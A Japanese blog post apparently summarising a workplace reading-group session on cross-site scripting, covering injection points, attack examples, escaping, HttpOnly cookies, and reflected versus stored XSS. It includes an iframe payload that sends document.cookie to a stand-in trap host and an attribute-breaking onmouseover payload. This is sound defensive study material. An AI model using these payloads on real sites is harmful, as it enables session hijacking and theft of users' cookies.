セキュリティ勉強会に参加しました 4
社内のセキュリティ勉強会の徳丸本読書会に参加しました。
今回の範囲は、pp. 88 - 105 でクロスサイトスクリプティングの基本の話でした。
前の記事は予習だったけど、今回は復習なので社内リポジトリに残したlogとは違う切り口でまとめて理解を深めてみます。
内容
- クロスサイトスクリプティングとは
- どうやって仕込むか
- 攻撃方法の具体例について
- 検索機能の一部として検索キーワードが画面に表示されるのを利用してスクリプトを読み込ませる
- 申し込みフォームにバリデーションを弾かれた時の値が再度表示される事を利用して、フォームのある画面を書き換える
- XSS対策
- 反射型XSSと持続型XSS
- 他に話題になったこと
クロスサイトスクリプティングとは
はじめに、自分のなかでまだ定義があやふやなのであらためて確認します。
閲覧者から送信されたデータをコンテンツの一部として他の閲覧者に見せるようなプログラムがあるWebサイトで生じる脆弱性および攻撃手法で、攻撃者が外部のサイトに用意した悪意のあるスクリプトをターゲットのサイトに注入して閲覧者に送信することから「クロスサイト」(サイト横断)という名称が付けられた。
クロスサイトスクリプティングとは|XSS|Cross Site Scripting - 意味/解説/説明/定義 : IT用語辞典 より
ユーザーからの入力を元にコンテンツを生成される画面において*1、
本来は静的な値が導入されると想定されているところに、不正なフォームやJavaScriptの関数を仕込み、
そのフォームが送信されたり、JavaScriptが動作する事でユーザの情報が攻撃者に漏れてしまうという感じの脆弱性および攻撃手法みたいです。
この説明では、他のサイトにJavaScriptを送り込む、というのが名前の由来である事にぴんと来なかったので、もう少し考えてみます。
XSS脆弱性のあるとあるWebサイトはパラメータをつけたリンクを踏ませると、そのパラメータを元に素直に表示が生成されるとします。
このサイトをターゲットにする場合、罠サイトを作って、そこに悪意のあるパラメータがついた攻撃対象サイトへのリンクをつけたり、JavaScript内で遷移させたり、といった場合、罠サイトで入力されたパラメータのスクリプトは攻撃対象サイトで実行されるわけで...とまで考えると、他のサイトにスクリプトを送っている感じがしました。
どうやって仕込むか
基本的には、大きく分けて2つの部分が狙い目です。
" "
で囲われていない属性値"
がエスケープされない属性値
もう少しきちんと言えば、入力された情報を元に動的にHTMLを組み立てる部分において、特殊文字がきちんとエスケープされていないとおぼしき部分です。
このような箇所に向かって、属性値を終端させるような値を入れてから、 本来挿入したいスクリプトが続くような文字列が代入されるようにパラメータを投げます。
たとえば、
# 架空のrails風味な俺俺フレームワークです # action def warning_action @name = params['name'] end # view <form action="/"> <input type='text' name="name" value="<%= @name %>" /> <button type="submit" value="Submit" /> </form>
ここで、 name='name'
のinput要素に、 value
属性値を終端させるために "
を入れた後、 onmouseover='alert(document.cookie)'
といった感じに、
マウスをのせたり、表示されたときに発動するようなJavaScriptを仕込むような属性値にあたる文字列が続く値を入力して送信すると...といった具合です。
攻撃方法の具体例について
上記をふまえつつ、紹介されていた攻撃の例についてもう少し考えてみます。
検索機能の一部として検索キーワードが画面に表示されるのを利用してスクリプトを読み込ませる
先ほどと少し重複しますが、検索機能の一部として検索キーワードが画面に表示されるようなページがあり、そのURLを http://example.jp とします。
罠サイトの中で下記のようなiframeを置いて、上記ページを呼び出させます。
<iframe src="http://example.jp?keyword=<script>windown.location='http://trap.exmaple.com?sid='%2Bdocument.cookie'</script>">
すると、検索キーワードとしてJavaScriptがHTMLの中に表示 = 実行されることになります。
実行しているスクリプト自体は、クッキーの内容をクエリパラメータにつけて罠サイトへ遷移させるというものです*2。
遷移させたURIに対応するphpなどのスクリプト内でパラメータに入っているクッキーの内容を保存したり、メールで送信したりします。
申し込みフォームにバリデーションを弾かれた時の値が再度表示される事を利用して、フォームのある画面を書き換える
投稿フォームを入力して、エラーの値があったらその値が入力された状態でフォームの画面を返すといった場合、フォームの値の部分をきちんとエスケープして対策しないとフォームを終端させられる、という話でした。
例では入力値によって元のform要素を終端させた後に、情報の送り先であるactionを罠サイトにした新しいform要素を挿入して、位置を調整して上書きしています。
また、リンクに見えるフォームで、あらかじめ、フォームに入力値がある状態を作るところもポイントだと思います。
XSS対策
XSSはHTML生成の際の特殊文字をきちんとエスケープしていれば良いそうです。
- 属性値に含まれる
"
,<
,&
- 要素内容としての
<
,&
はきちんと文字列参照にしましょう。また、大体のブラウザでは対策がとられているそうなのですが、HTTPメソッドのうち、TRACEメソッドも禁止するようにしましょう*3。
セッションを管理しているクッキーを読み取られないように、CookieにHTTPOnly属性をつけることも被害を抑える対策になります。
反射型XSSと持続型XSS
反射型は、DBに保存されない値を元にその場限りで生成されるクエリパラメータ等を利用してXSSを行うものみたいです。
ユーザーにそのクエリパラメータの入力をさせるために、リンクを踏ませる、罠サイトを表示させてJavaScriptによって遷移させる等、一段階被害者側に行動をさせる必要があります。
このため反射型は、DBに保存された値を読みこんで表示されることによって発生する持続型XSSに比べると、 注意深いユーザが被害者になる確率は低くなるでしょう。
他に話題になったこと
画像のXSSについて
画像をはじめとしてファイルを表示させる際に、ブラウザは拡張子だけでなくContent-Typeやマジックナンバー *4を元にファイルの種類を判断しているそうなのです。
この事実を利用する事で、本来画像が表示される位置に、画像と判定されるようにContent-Typeやマジックナンバーを編集したスクリプトのファイルを置くというのが画像のXSSだそうです。
怪しいファイルをうかつに開く前にとりあえず hexdump
*5してる、とインフラの方から教えていただいたのが印象的でした。
XSS脆弱性が見逃される場合
XSS対策自体は基本的なのになぜ、XSSは頻発するのかと質問してみました。
そうしたら、入力値をすべてエスケープする、と決めているうちは起こる事は無いのだけれど、
便利にするために <b>
など特定のタグは許容する、などの例外を出し始めるうちに管理が出来なくなるそうです。
HTTPOnly属性が指定されているところをRailsで開発しているとき、見た事がない気がするのですが...
RailsのCookieのHttpOnly属性を指定したものを見た事無かった気がすると話題に出したところ、 RailsのcookiesのデフォルトではHttpOnly属性を指定するためのhttponlyオプションはデフォルトでfalseなのでした。
なんとなく、告知用の表示等をJavaScriptからクッキーで管理したい気持ちが少しあるのですが、 データベースに保存するなど他の方法を探した方がいいのでしょうか。
自分用にまとめ直していたら、社内用の誤植が見つかったのでよかったです。
*1:言語で言うとHTMLやCSSであり、サイトの種類で言うとコメント等を送り合うSNSなど
*3:nginxはデフォルトで禁止らしいです
*4:https://ja.wikipedia.org/wiki/%E3%83%9E%E3%82%B8%E3%83%83%E3%82%AF%E3%83%8A%E3%83%B3%E3%83%90%E3%83%BC_(%E3%83%95%E3%82%A9%E3%83%BC%E3%83%9E%E3%83%83%E3%83%88%E8%AD%98%E5%88%A5%E5%AD%90. 1, 2, 3とか言わない
*5:http://itpro.nikkeibp.co.jp/article/COLUMN/20140224/538591/